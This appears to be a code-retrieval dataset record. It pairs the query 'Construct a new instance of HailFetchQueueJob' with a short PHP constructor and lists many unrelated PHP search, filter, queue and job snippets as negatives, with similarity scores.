getAll(){\n\n\t\t\t$this->db->order_by(\"status\", \"asc\");\n\t\t\t$query = $this->db->get_where($this->table);\n\t\t\treturn $query;\n\t\t}", "public function actionViewModelList($modelName)\n\t{\n\t\t$pageSize = BaseModel::PAGE_SIZE;\n\t\tif ($_POST[\"sortBy\"]) {\n\t\t\t$order = $_POST[\"sortBy\"];\n\t\t}\n\t\t//echo $order;\n\t\t/*if (!$modelName) {\n\t\t\t\n\t\t}*/\n\t\t$sess_data = Yii::app()->session->get($modelName.'search');\n\t\t$searchId = $_GET[\"search_id\"];\n\t\t$fromSearchId = TriggerValues::model() -> decodeSearchId($searchId);\n\t\t//print_r($fromSearchId);\n\t\t//echo \"<br/>\";\n\t\t//Если задан $_POST/GET с формы, то сливаем его с массивом из searchId с приоритетом у searchId\n\t\tif ($_POST[$modelName.'SearchForm'])\n\t\t{\n\t\t\t$fromPage = array_merge($_POST[$modelName.'SearchForm'], $fromSearchId);\n\t\t} else {\n\t\t\t//Если же он не задан, то все данные берем из searchId\n\t\t\t$fromPage = $fromSearchId;\n\t\t}\n\t\t//print_r($fromPage);\n\t\tif ((!$fromPage)&&(!$sess_data))\n\t\t{\n\t\t\t//Если никаких критереев не задано, то выдаем все модели.\n\t\t\t$searched = $modelName::model() -> userSearch(array(),$order);\n\t\t} else {\n\t\t\tif ($_GET[\"clear\"]==1)\n\t\t\t{\n\t\t\t\t//Если критерии заданы, но мы хотим их сбросить, то снова выдаем все и обнуляем нужную сессию\n\t\t\t\tYii::app()->session->remove($modelName.'search');\n\t\t\t\t$page = 1;\n\t\t\t\t//was://$searched = $modelName::model() -> userSearch(array(),$order);\n\t\t\t\t$searched = $modelName::model() -> userSearch($fromSearchId,$order);\n\t\t\t} else {\n\t\t\t\t//Если же заданы какие-то критерии, но не со страницы, то вместо них подаем данные из сессии\n\t\t\t\tif (!$fromPage)\n\t\t\t\t{\n\t\t\t\t\t$fromPage = $sess_data;\n\t\t\t\t\t//echo \"from session\";\n\t\t\t\t}\n\t\t\t\t//Адаптируем критерии под специализацию. Если для данной специализации нет какого-то критерия, а он где-то сохранен, то убираем его.\n\t\t\t\t$fromPage = Filters::model() -> FilterSearchCriteria($fromPage, $modelName);\n\t\t\t\t//Если критерии заданы и обнулять их не нужно, то запускаем поиск и сохраняем его критерии в сессию.\n\t\t\t\tYii::app()->session->add($modelName.'search',$fromPage);\n\t\t\t\t$searched = $modelName::model() -> userSearch($fromPage,$order);\n\t\t\t}\n\t\t}\n\t\t//делаем из массива объектов dataProvider\n $dataProvider = new CArrayDataProvider($searched['objects'],\n array( 'keyField' =>'id'\n ));\n\t\t$this -> layout = 'layoutNoForm';\n\t\t//Определяем страницу.\n\t\t$maxPage = ceil(count($searched['objects'])/$pageSize);\n\t\tif ($_GET[\"page\"]) {\n\t\t\t$_POST[\"page\"] = $_GET[\"page\"];\n\t\t}\n\t\t$page = $_POST[\"page\"] ? $_POST[\"page\"] : 1;\n\t\t$page = (($page >= 1)&&($page <= $maxPage)) ? $page : 1;\n\t\t$_POST[$modelName.'SearchForm'] = $fromPage;\n\t\t$this->render('show_list', array(\n\t\t\t'objects' => array_slice($searched['objects'],($page - 1) * $pageSize, $pageSize),\n\t\t\t'modelName' => $modelName,\n\t\t\t'filterForm' => $modelName::model() -> giveFilterForm($fromPage),\n\t\t\t'fromPage' => $fromPage,\n\t\t\t'description' => $searched['description'],\n\t\t\t'specialities' => Filters::model() -> giveSpecialities(),\n\t\t\t'page' => $page,\n\t\t\t'maxPage' => $maxPage,\n\t\t\t'total' => count($searched['objects'])\n\t\t));\n\t\t\n\t}", "public function search_through(Request $request)\n {\n $reports = Payment::query();\n\n if (!empty($request->query())) {\n foreach ($request->query() as $key => $value) {\n if ($key == 'date') {\n $reports->whereDate('created_at', '>=', $value);\n } else {\n $reports->where($key, $value);\n }\n }\n }\n\n return $reports->get();\n }", "public function models($query, array $options = [])\n {\n $hits = $this->run($query);\n list($models, $totalCount) = $this->search->config()->models($hits, $options);\n // Remember total number of results.\n $this->setCachedCount($query, $totalCount);\n\n return Collection::make($models);\n }", "public function index()\n {\n $this->repository->pushCriteria(app('Prettus\\Repository\\Criteria\\RequestCriteria'));\n return $this->repository->all();\n }", "public function search()\n\t{\n\t\t// @todo Please modify the following code to remove attributes that should not be searched.\n\n\t\t$criteria=new CDbCriteria;\n \n $criteria->with=array('c','b');\n\t\t$criteria->compare('pid',$this->pid,true);\n\t\t$criteria->compare('t.cid',$this->cid,true);\n\t\t$criteria->compare('t.bid',$this->bid,true);\n\n $criteria->compare('c.classify_name',$this->classify,true);\n\t\t$criteria->compare('b.brand_name',$this->brand,true);\n \n $criteria->addCondition('model LIKE :i and model REGEXP :j');\n $criteria->params[':i'] = \"%\".$this->index_search.\"%\";\n $criteria->params[':j'] = \"^\".$this->index_search;\n\n \n\t\t$criteria->compare('model',$this->model,true);\n\t\t$criteria->compare('package',$this->package,true);\n\t\t$criteria->compare('RoHS',$this->RoHS,true);\n\t\t$criteria->compare('datecode',$this->datecode,true);\n\t\t$criteria->compare('quantity',$this->quantity);\n\t\t$criteria->compare('direction',$this->direction,true);\n $criteria->compare('image_url',$this->image_url,true);\n\t\t$criteria->compare('create_time',$this->create_time,true);\n\t\t$criteria->compare('status',$this->status);\n\n\t\treturn new CActiveDataProvider($this, array(\n\t\t\t'criteria'=>$criteria,\n\t\t));\n\t}", "public function queryset(){\n return $this->_get_queryset();\n }", "public function index(Request $request)\n {\n $keyword = $request->get('search');\n $perPage = $request->get('limit');\n $perPage = empty($perPage) ? 25 : $perPage;\n\n if (!empty($keyword)) {\n $filters = Filter::where('sl_gender', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_min_price', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_max_price', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_color', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_occasion', 'LIKE', \"%$keyword%\")\n ->orWhere('sl_style', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_age', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_min_price', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_max_price', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_date_from', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_date_to', 'LIKE', \"%$keyword%\")\n ->orWhere('wg_city_id', 'LIKE', \"%$keyword%\")\n ->orWhere('user_id', 'LIKE', \"%$keyword%\")\n ->paginate($perPage);\n } else {\n $filters = Filter::paginate($perPage);\n }\n\n return $filters;\n }", "public function getList(\\Magento\\Framework\\Api\\SearchCriteriaInterface $searchCriteria);", "public function getList(\\Magento\\Framework\\Api\\SearchCriteriaInterface $searchCriteria);", "public function getList(\\Magento\\Framework\\Api\\SearchCriteriaInterface $searchCriteria);", "public function getSearchCriterias()\n {\n return $this->_searchCriterias;\n }", "public function search() {\n // @todo Please modify the following code to remove attributes that should not be searched.\n\n $criteria = new CDbCriteria;\n\n $criteria->compare('id', $this->id);\n $criteria->compare('entity_id', $this->entity_id);\n $criteria->compare('dbname', $this->dbname, true);\n $criteria->compare('isfiltered', $this->isfiltered);\n $criteria->compare('filtertype', $this->filtertype);\n $criteria->compare('alias', $this->alias, true);\n $criteria->compare('enabled', $this->enabled);\n\n return new CActiveDataProvider($this, array(\n 'criteria' => $criteria,\n 'pagination' => false,\n ));\n }", "private function getSearchConditions()\n {\n $searchConditions = [];\n\n $userIds = $this->request->get('ids') ?? [];\n if ($userIds) {\n $searchConditions['id'] = $userIds;\n }\n\n $email = $this->request->get('email') ?? '';\n if ($email) {\n $searchConditions['email'] = $email;\n }\n\n return $searchConditions;\n }", "public function findAllAction();", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sSavedFilterList = \"\";\n\n\t\t// Load server side filters\n\t\tif (EW_SEARCH_FILTER_OPTION == \"Server\" && isset($UserProfile))\n\t\t\t$sSavedFilterList = $UserProfile->GetSearchFilters(CurrentUserName(), \"fsolicitudlistsrch\");\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJson(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nombre_contacto->AdvancedSearch->ToJson(), \",\"); // Field nombre_contacto\n\t\t$sFilterList = ew_Concat($sFilterList, $this->name->AdvancedSearch->ToJson(), \",\"); // Field name\n\t\t$sFilterList = ew_Concat($sFilterList, $this->lastname->AdvancedSearch->ToJson(), \",\"); // Field lastname\n\t\t$sFilterList = ew_Concat($sFilterList, $this->_email->AdvancedSearch->ToJson(), \",\"); // Field email\n\t\t$sFilterList = ew_Concat($sFilterList, $this->address->AdvancedSearch->ToJson(), \",\"); // Field address\n\t\t$sFilterList = ew_Concat($sFilterList, $this->phone->AdvancedSearch->ToJson(), \",\"); // Field phone\n\t\t$sFilterList = ew_Concat($sFilterList, $this->cell->AdvancedSearch->ToJson(), \",\"); // Field cell\n\t\t$sFilterList = ew_Concat($sFilterList, $this->created_at->AdvancedSearch->ToJson(), \",\"); // Field created_at\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_sucursal->AdvancedSearch->ToJson(), \",\"); // Field id_sucursal\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipoinmueble->AdvancedSearch->ToJson(), \",\"); // Field tipoinmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_inmueble->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_inmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_inmueble->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_inmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipovehiculo->AdvancedSearch->ToJson(), \",\"); // Field tipovehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_vehiculo->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_vehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_vehiculo->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_vehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipomaquinaria->AdvancedSearch->ToJson(), \",\"); // Field tipomaquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_maquinaria->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_maquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_maquinaria->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_maquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipomercaderia->AdvancedSearch->ToJson(), \",\"); // Field tipomercaderia\n\t\t$sFilterList = ew_Concat($sFilterList, $this->documento_mercaderia->AdvancedSearch->ToJson(), \",\"); // Field documento_mercaderia\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipoespecial->AdvancedSearch->ToJson(), \",\"); // Field tipoespecial\n\t\t$sFilterList = ew_Concat($sFilterList, $this->email_contacto->AdvancedSearch->ToJson(), \",\"); // Field email_contacto\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "public function search(Request $request)\n {\n if(!$request->has('query')) {\n return response()->json(['message' => 'Please type a keyword.']);\n }\n\n $userTenant = Auth::userTenant();\n $user = Auth::user();\n\n $searchableModelNameSpace = 'App\\\\Models\\\\';\n $result = [];\n // Loop through the searchable models.\n foreach (config('scout.searchableModels') as $model) {\n $modelClass = $searchableModelNameSpace.$model;\n $modelService = app($model.'Ser');\n\n if($model == 'Task') {\n $allowedModels = $modelService->searchForUserTenant($userTenant, $request->get('query'))->get();\n } else {\n $foundModels = $modelClass::search($request->get('query'))->get();\n if ($model === 'Comment') {\n $foundModels->where('groupId', '!=', null)->toArray();\n }\n $policy = app()->make('App\\Policies\\V2\\\\' . $model . 'Policy');\n $allowedModels = $foundModels->filter(function(BaseModel $foundModel) use($user, $policy) {\n return $policy->getAccess($user, $foundModel);\n });\n }\n\n $result[Str::lower($model) . 's'] = $allowedModels;\n }\n\n $responseData = ['message' => 'Keyword(s) matched!', 'results' => $result, 'pagination' => ['more' => false]];\n $responseHeader = Response::HTTP_OK;\n if (!count($result)) {\n $responseData = ['message' => 'No results found, please try with different keywords.'];\n $responseHeader = Response::HTTP_NOT_FOUND;\n }\n\n return response()->json($responseData, $responseHeader);\n }", "public function getAndFilter() {\n\t\treturn $this->db->getAndFilter();\n\t}" ]
[ "0.6744587", "0.6744587", "0.66071475", "0.6480176", "0.6380854", "0.63459533", "0.6310267", "0.6301479", "0.62540275", "0.625096", "0.625096", "0.6111257", "0.60779804", "0.6071859", "0.60465646", "0.6035604", "0.60343957", "0.6015879", "0.59832615", "0.59805286", "0.5979286", "0.59701556", "0.59312874", "0.5927603", "0.59224916", "0.5891777", "0.5888019", "0.58500385", "0.5848168", "0.5827002", "0.58180237", "0.58134884", "0.58085763", "0.57903516", "0.57772547", "0.57701206", "0.57645535", "0.57641006", "0.5752261", "0.5740839", "0.57383156", "0.5728667", "0.5723783", "0.5723328", "0.572305", "0.5720528", "0.5718706", "0.571377", "0.5711854", "0.57070047", "0.5694479", "0.56806386", "0.5671331", "0.56708217", "0.567048", "0.567048", "0.567048", "0.5669598", "0.56677866", "0.5665962", "0.5656587", "0.56506765", "0.5649381", "0.5643239", "0.5635908", "0.5634382", "0.563247", "0.56226563", "0.56167454", "0.56126386", "0.56093323", "0.55950135", "0.55783314", "0.55714875", "0.5556534", "0.5549239", "0.55488616", "0.5547631", "0.554729", "0.55349416", "0.5534242", "0.5534184", "0.5531692", "0.5525876", "0.5519699", "0.5518362", "0.5514306", "0.5509539", "0.5506421", "0.55009496", "0.5499837", "0.5496821", "0.5496821", "0.5496821", "0.54954517", "0.5493816", "0.5492836", "0.54923123", "0.54904383", "0.5488725", "0.548521" ]
0.0
-1
Construct a new instance of HailFetchQueueJob
public function __construct($hailObjectType) { $this->hailObjectType = $hailObjectType; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function __construct($queue);", "public function __construct()\n {\n $this->queue = new Pheanstalk('localhost', '11300', null, true);\n }", "public function __construct(Job $job)\n {\n $this->job = $job;\n }", "public function __construct()\n {\n $this->job_class = OpportunityDetachedNotificationJob::class;\n $this->queue = ['QueueName' => config('queue.queue_lanes.OpportunityDetachedNotification', false)];\n parent::__construct();\n }", "public function __construct()\n {\n $this->job_class = OpportunityOpenedNotificationJob::class;\n $this->queue = ['QueueName' => config('queue.queue_lanes.OpportunityOpenedNotification', false)];\n parent::__construct();\n }", "public function __construct(JobPoster $job)\n {\n $this->job = $job;\n }", "public function __construct($job)\n {\n $payload = [];\n $this->job = $job;\n $payload['data'] = json_encode($this->job);\n\n $payload['classname'] = $this->job->getNameOfClass();\n $this->payload = $payload;\n\n }", "protected function initializeQueue() {\n\t\t$className = $this->getConfiguredQueueClassName();\n\t\t$objectFactory = new ObjectFactory();\n\t\t$queueFactory = new QueueFactory();\n\t\tself::$instance = new $className();\n\t\tif (TRUE === self::$instance instanceof QueueCachableInterface) {\n\t\t\t$cacheFactory = new CacheFactory();\n\t\t\t$queueCache = $cacheFactory->fetchCache($className::CACHE_IDENTITY);\n\t\t\tself::$instance->setCache($queueCache);\n\t\t\tself::$instance->load();\n\t\t}\n\t\treturn self::$instance;\n\t}", "public function __construct(Job $job)\n {\n parent::__construct();\n\n $this->job = $job;\n }", "abstract public function makeJob();", "abstract public function makeJob();", "private function createSearchJob() {\n $response = $this->client->request('POST','search/jobs', [\n 'json' => [\n 'query' => $this->getSumoQuery(),\n 'from' => $this->start->format(DateTime::ATOM),\n 'to' => $this->end->format(DateTime::ATOM),\n 'timeZone' => $this->profile->getTimezone()\n ]\n ]);\n $code = $response->getStatusCode();\n if ($code !== 202) {\n throw new \\Exception('Error getting data from Sumologic, error was HTTP ' . $code . ' - ' . $response->getBody() . '.');\n }\n $data = json_decode($response->getBody());\n $this->jobId = $data->id;\n if ($this->output->isVerbose()) {\n $this->output->writeln(\" > Debug: Search job ID {$this->jobId} created.\");\n }\n }", "public function createJobObject($payload)\n {\n $job = new Job([\n 'title' => $payload['title'],\n 'name' => $payload['title'],\n 'description' => $payload['description'],\n 'url' => $payload['url'],\n 'location' => $payload['locations'],\n ]);\n\n $job->setCompany($payload['company'])\n ->setDatePostedAsString($payload['date'])\n ->setBaseSalary($payload['salary']);\n\n return $job;\n }", "public function __construct(\\Traversable $namespaces, CacheBackendInterface $cache_backend, ModuleHandlerInterface $module_handler) {\n parent::__construct('Plugin/QueueWorker', $namespaces, $module_handler, 'Drupal\\Core\\Queue\\QueueWorkerInterface', 'Drupal\\Core\\Annotation\\QueueWorker');\n\n $this->setCacheBackend($cache_backend, 'queue_plugins');\n $this->alterInfo('queue_info');\n }", "public function __construct()\n {\n $this->jobService = new JobService();\n }", "protected function fetch() {\n $time = time();\n $requestID = uniqid();\n $query = \"SELECT * FROM unprocessed_jobs WHERE scheduled<=$time AND status='PENDING' LIMIT 1\";\n\n $this->info('Fetching new job');\n\n $result = $this->db->query($query);\n\n if (!$result) {\n $this->alert('Error fetching job');\n return false;\n }\n\n if (!$result->num_rows) {\n //TODO: Log error that we could not get job here\n $this->info('No jobs to fetch');\n return false; \n }\n\n $data = $result->fetch_assoc();\n\n $job = new Job($data['job_id'], $data['class'], json_decode($data['data']));\n $job->setDB($this->db);\n \n $this->info('Successfully fetched job - '.$job->request_id);\n \n return $job;\n }", "public function __construct($queue, $id, $class, array $data = null)\n {\n $this->redis = Redis::instance();\n\n if (!is_string($queue) or empty($queue)) {\n throw new \\InvalidArgumentException('The Job queue \"('.gettype($queue).')'.$queue.'\" must a non-empty string');\n }\n\n $this->queue = $queue;\n $this->id = $id;\n $this->data = $data;\n\n if ($class instanceof Closure) {\n $this->class = 'Resque\\Helpers\\ClosureJob';\n $this->data = $class;\n } else {\n $this->class = $class;\n if (strpos($this->class, '@')) {\n list($this->class, $this->method) = explode('@', $this->class, 2);\n }\n\n // Remove any spaces or back slashes\n $this->class = trim($this->class, '\\\\ ');\n }\n\n $this->payload = $this->createPayload();\n\n Event::fire(Event::JOB_INSTANCE, $this);\n }", "public function __construct() {\n # Get the queue\n $this->queue = Queue::getQueue();\n # Now process\n $this->process();\n }", "public function __construct($job_data)\n {\n $this->job_data = $job_data;\n }", "public function createJobObject($payload)\n {\n $job = new Job;\n\n $map = $this->getJobSetterMap();\n\n array_walk($map, function ($path, $setter) use ($payload, &$job) {\n try {\n $value = static::getValue(explode('.', $path), $payload);\n $job->$setter($value);\n } catch (\\OutOfRangeException $e) {\n // do nothing\n }\n });\n\n return $job;\n }", "public function pull()\n {\n $beanstalkJob = $this->beanstalk->reserveFromTube($this->queueName);\n\n if ($beanstalkJob === false) {\n return null;\n }\n\n $job = new Job();\n $job->setId($beanstalkJob->getId());\n $job->unserialize($beanstalkJob->getData());\n\n return $job;\n }", "protected function createJobFromPayload($payload = [])\n {\n return new Job([\n 'title' => $payload['jobTitle'],\n 'name' => $payload['jobTitle'],\n 'description' => $payload['descriptionFragment'],\n 'url' => $payload['jobViewUrl'],\n 'sourceId' => $payload['jobListingId'],\n 'location' => $payload['location'],\n 'industry' => $payload['jobCategory']\n ]);\n }", "public function __construct($options = array())\n {\n if (!isset($options[\"task\"])) {\n throw new InvalidArgumentException('Missing \"task\"');\n }\n if (!isset($options[\"queue\"])) {\n throw new InvalidArgumentException('Missing \"queue\"');\n }\n if (!($options[\"queue\"] instanceof WorkQueue)) {\n throw new InvalidArgumentException('\"queue\" must be instance of WorkQueue');\n }\n $this->command = $options[\"task\"];\n $this->retryData = new WorkQueue();\n $this->workQueue = $options[\"queue\"];\n if (isset($options[\"num_processes\"]) && is_int($options[\"num_processes\"])) {\n $this->numProcs = $options[\"num_processes\"];\n }\n if (isset($options[\"proc_timeout\"]) && is_int($options[\"proc_timeout\"])) {\n $this->procTimeout = $options[\"proc_timeout\"];\n }\n if (isset($options[\"done\"]) && is_callable($options[\"done\"])) {\n $this->doneHandler = $options[\"done\"];\n }\n if (isset($options[\"error\"]) && is_callable($options[\"error\"])) {\n $this->errorHandler = $options[\"error\"];\n }\n if (isset($options[\"retries\"]) && is_int($options[\"retries\"])) {\n $this->numRetries = $options[\"retries\"];\n }\n if (isset($options[\"verbose\"]) && is_bool($options[\"verbose\"])) {\n $this->verbose = $options[\"verbose\"];\n }\n $this->poolId = self::$poolNum;\n self::$poolNum++;\n }", "static function createJobDescriptorFromInput()\n {\n $obj = b2input()->json();\n $job = new \\scheduler\\JobDescriptor();\n\n $job->group = trim($obj->group) ?: b2config()->scheduler['defaultGroupName'];\n $job->name = $obj->name;\n $job->type = $obj->type;\n $job->description = $obj->description;\n\n if ($obj->data) {\n $job->data = parse_ini_string($obj->data);\n }\n if (empty($job->data)) {\n $job->data = null;\n }\n\n// var_dump($job);\n\n return $job;\n }", "public function __construct(\n Container $container,\n MnsAdapter $mns,\n $queue,\n ReceiveMessageResponse $job\n ) {\n $this->container = $container;\n $this->mns = $mns;\n $this->queue = $queue;\n $this->job = $job;\n }", "public function createQueue();", "public function __construct(\n array $payload,\n Throwable $exception,\n Worker $worker,\n string $queue\n );", "static public function factory($job, $conn, $handle, $initParams=array())\n {\n if (empty($initParams['path'])) {\n $paths = explode(',', NET_GEARMAN_JOB_PATH);\n $file = null;\n\n foreach ($paths as $path) {\n $tmpFile = $path . '/' . $job . '.php';\n\n if (file_exists(realpath($tmpFile))) {\n $file = $tmpFile;\n break;\n }\n }\n }\n else {\n $file = $initParams['path'];\n }\n\n if ( ! file_exists($file) ) {\n throw new Net_Gearman_Job_Exception('Invalid Job class file: ' . (empty($file) ? '<empty>' : $file));\n }\n\n include_once $file;\n\n if (empty($initParams['class_name'])) {\n $class = NET_GEARMAN_JOB_CLASS_PREFIX . $job;\n }\n else {\n $class = $initParams['class_name'];\n }\n\n if (!class_exists($class)) {\n throw new Net_Gearman_Job_Exception('Invalid Job class: ' . (empty($class) ? '<empty>' : $class) . ' in ' . (empty($file) ? '<empty>' : $file) );\n }\n\n $instance = new $class($conn, $handle, $initParams);\n if (!$instance instanceof Net_Gearman_Job_Common) {\n throw new Net_Gearman_Job_Exception('Job is of invalid type: ' . get_class($instance));\n }\n\n return $instance;\n }", "public function __construct($job, $sender, $status)\n {\n $this->job = $job;\n $this->status = $status;\n $this->sender = $sender;\n }", "public function __construct($emailJobID)\n {\n $this->emailJobID = $emailJobID;\n }", "public function __construct()\n {\n $this->code = Phearman::CODE_REQUEST;\n $this->type = Phearman::TYPE_GRAB_JOB;\n }", "public function job()\n {\n\n Job::truncate();\n\n $path = Dataset_api::find(6)->api_path;\n\n $url= $path.\"?%24limit=5000\";\n $json = file_get_contents($url);\n $data = json_decode($json);\n\n foreach ($data as $value) {\n $job = new Job();\n $job->job_id = isset($value->job_id)?$value->job_id:null;\n $job->agency = isset($value->agency)?$value->agency:null;\n $job->posting_type = isset($value->posting_type)?$value->posting_type:null;\n $job->of_positions = isset($value->__of_positions)?$value->__of_positions:null;\n $job->business_title = isset($value->business_title)?$value->business_title:null;\n $job->civil_service_title = isset($value->civil_service_title)?$value->civil_service_title:null;\n $job->title_code_no = isset($value->title_code_no)?$value->title_code_no:null;\n $job->level = isset($value->level)?$value->level:null;\n $job->job_category = isset($value->job_category)?$value->job_category:null;\n $job->full_time_part_time_indicator = isset($value->full_time_part_time_indicator)?$value->full_time_part_time_indicator:null;\n $job->salary_range_from = isset($value->salary_range_from)?$value->salary_range_from:null;\n $job->salary_range_to = isset($value->salary_range_to)?$value->salary_range_to:null;\n $job->salary_frequency = isset($value->salary_frequency)?$value->salary_frequency:null;\n $job->work_location = isset($value->work_location)?$value->work_location:null;\n $job->division_work_unit = isset($value->division_work_unit)?$value->division_work_unit:null;\n $job->job_description = isset($value->job_description)?$value->job_description:null;\n $job->minimum_qual_requirements = isset($value->minimum_qual_requirements)?$value->minimum_qual_requirements:null;\n $job->preferred_skills = isset($value->preferred_skills)?$value->preferred_skills:null;\n $job->additional_information = isset($value->additional_information)?$value->additional_information:null;\n $job->to_apply = isset($value->to_apply)?$value->to_apply:null;\n $job->hours_shift = isset($value->hours_shift)?$value->hours_shift:null;\n $job->work_location_1 = isset($value->work_location_1)?$value->work_location_1:null;\n $job->recruitment_contact = isset($value->recruitment_contact)?$value->recruitment_contact:null;\n $job->residency_requirement = isset($value->residency_requirement)?$value->residency_requirement:null;\n $job->posting_date = isset($value->posting_date)?$value->posting_date:null;\n $job->post_until = isset($value->post_until)?$value->post_until:null;\n $job->posting_updated = isset($value->posting_updated)?$value->posting_updated:null;\n $job->process_date = isset($value->process_date)?$value->process_date:null;\n\n $job->save(); \n }\n exit();\n \n \n }", "public static function create($queue, $class, array $data = null, $run_at = 0)\n {\n $id = static::createId($queue, $class, $data, $run_at);\n\n $job = new static($queue, $id, $class, $data);\n\n if ($run_at > 0) {\n if (!$job->delay($run_at)) {\n return false;\n }\n } elseif (!$job->queue()) {\n return false;\n }\n\n Stats::incr('total', 1);\n Stats::incr('total', 1, Queue::redisKey($queue, 'stats'));\n\n return $job;\n }", "public function __construct()\n {\n parent::__construct();\n $this->worker = new \\GearmanWorker();\n $this->worker->addServer();\n $this->worker->addFunction(env('QUEUE_SEMANTIC'), sprintf('\\\\%s::%s', __CLASS__, 'start'));\n }", "function __construct(){\n\n\t\t\t$this->enqueues();\n\n\t\t}", "public function getQueueJob(array $data);", "public function getNewJob() {\n # we can grab a locked job if we own the lock\n $rs = $this->runQuery(\"\n SELECT id\n FROM \" . self::$jobsTable . \"\n WHERE queue = ?\n AND (run_at IS NULL OR NOW() >= run_at)\n AND (locked_at IS NULL OR locked_by = ?)\n AND failed_at IS NULL\n AND attempts < ?\n ORDER BY created_at DESC\n LIMIT 10\n \", array($this->queue, $this->name, $this->max_attempts));\n\n // randomly order the 10 to prevent lock contention among workers\n shuffle($rs);\n\n foreach ($rs as $r) {\n $job = new DJJob($this->name, $r[\"id\"], array(\n \"max_attempts\" => $this->max_attempts,\n \"fail_on_output\" => $this->fail_on_output\n ));\n if ($job->acquireLock()) return $job;\n }\n\n return false;\n }", "public function __construct(StorageInterface $storage, LoggerInterface $logger, StoredJobInterface $storedJob)\n {\n $this->storage = $storage;\n $this->logger = $logger;\n $this->storedJob = $storedJob;\n $this->params = $storedJob->createJobRepresentation()->getWorkerParams();\n $this->stats = $storedJob->getStats();\n $this->nextInterval = 1;\n }", "public function getJob()\n {\n $this->resolveChildren();\n\n $job = new Job($this->getJobConfig());\n\n foreach ($this->children as $child) {\n $job->add($child->getJob());\n }\n\n return $job;\n }", "public function initialize()\n\t{\n\t // attributes\n\t\t$this->setName('batch_job_lock');\n\t\t$this->setPhpName('BatchJobLock');\n\t\t$this->setClassname('BatchJobLock');\n\t\t$this->setPackage('Core');\n\t\t$this->setUseIdGenerator(false);\n\t\t// columns\n\t\t$this->addPrimaryKey('ID', 'Id', 'INTEGER', true, null, null);\n\t\t$this->addColumn('JOB_TYPE', 'JobType', 'INTEGER', false, null, null);\n\t\t$this->addColumn('JOB_SUB_TYPE', 'JobSubType', 'INTEGER', false, null, null);\n\t\t$this->addColumn('OBJECT_ID', 'ObjectId', 'VARCHAR', false, 20, '');\n\t\t$this->addColumn('OBJECT_TYPE', 'ObjectType', 'INTEGER', false, null, null);\n\t\t$this->addColumn('ESTIMATED_EFFORT', 'EstimatedEffort', 'BIGINT', false, null, null);\n\t\t$this->addColumn('STATUS', 'Status', 'INTEGER', false, null, null);\n\t\t$this->addColumn('START_AT', 'StartAt', 'TIMESTAMP', false, null, null);\n\t\t$this->addColumn('CREATED_AT', 'CreatedAt', 'TIMESTAMP', false, null, null);\n\t\t$this->addColumn('PRIORITY', 'Priority', 'TINYINT', false, null, null);\n\t\t$this->addColumn('URGENCY', 'Urgency', 'TINYINT', false, null, null);\n\t\t$this->addColumn('ENTRY_ID', 'EntryId', 'VARCHAR', false, 20, '');\n\t\t$this->addColumn('PARTNER_ID', 'PartnerId', 'INTEGER', false, null, 0);\n\t\t$this->addColumn('SCHEDULER_ID', 'SchedulerId', 'INTEGER', false, null, null);\n\t\t$this->addColumn('WORKER_ID', 'WorkerId', 'INTEGER', false, null, null);\n\t\t$this->addColumn('BATCH_INDEX', 'BatchIndex', 'INTEGER', false, null, null);\n\t\t$this->addColumn('EXPIRATION', 'Expiration', 'TIMESTAMP', false, null, null);\n\t\t$this->addColumn('EXECUTION_ATTEMPTS', 'ExecutionAttempts', 'TINYINT', false, null, null);\n\t\t$this->addColumn('VERSION', 'Version', 'INTEGER', false, null, null);\n\t\t$this->addColumn('DC', 'Dc', 'INTEGER', false, null, null);\n\t\t$this->addForeignKey('BATCH_JOB_ID', 'BatchJobId', 'INTEGER', 'batch_job_sep', 'ID', false, null, 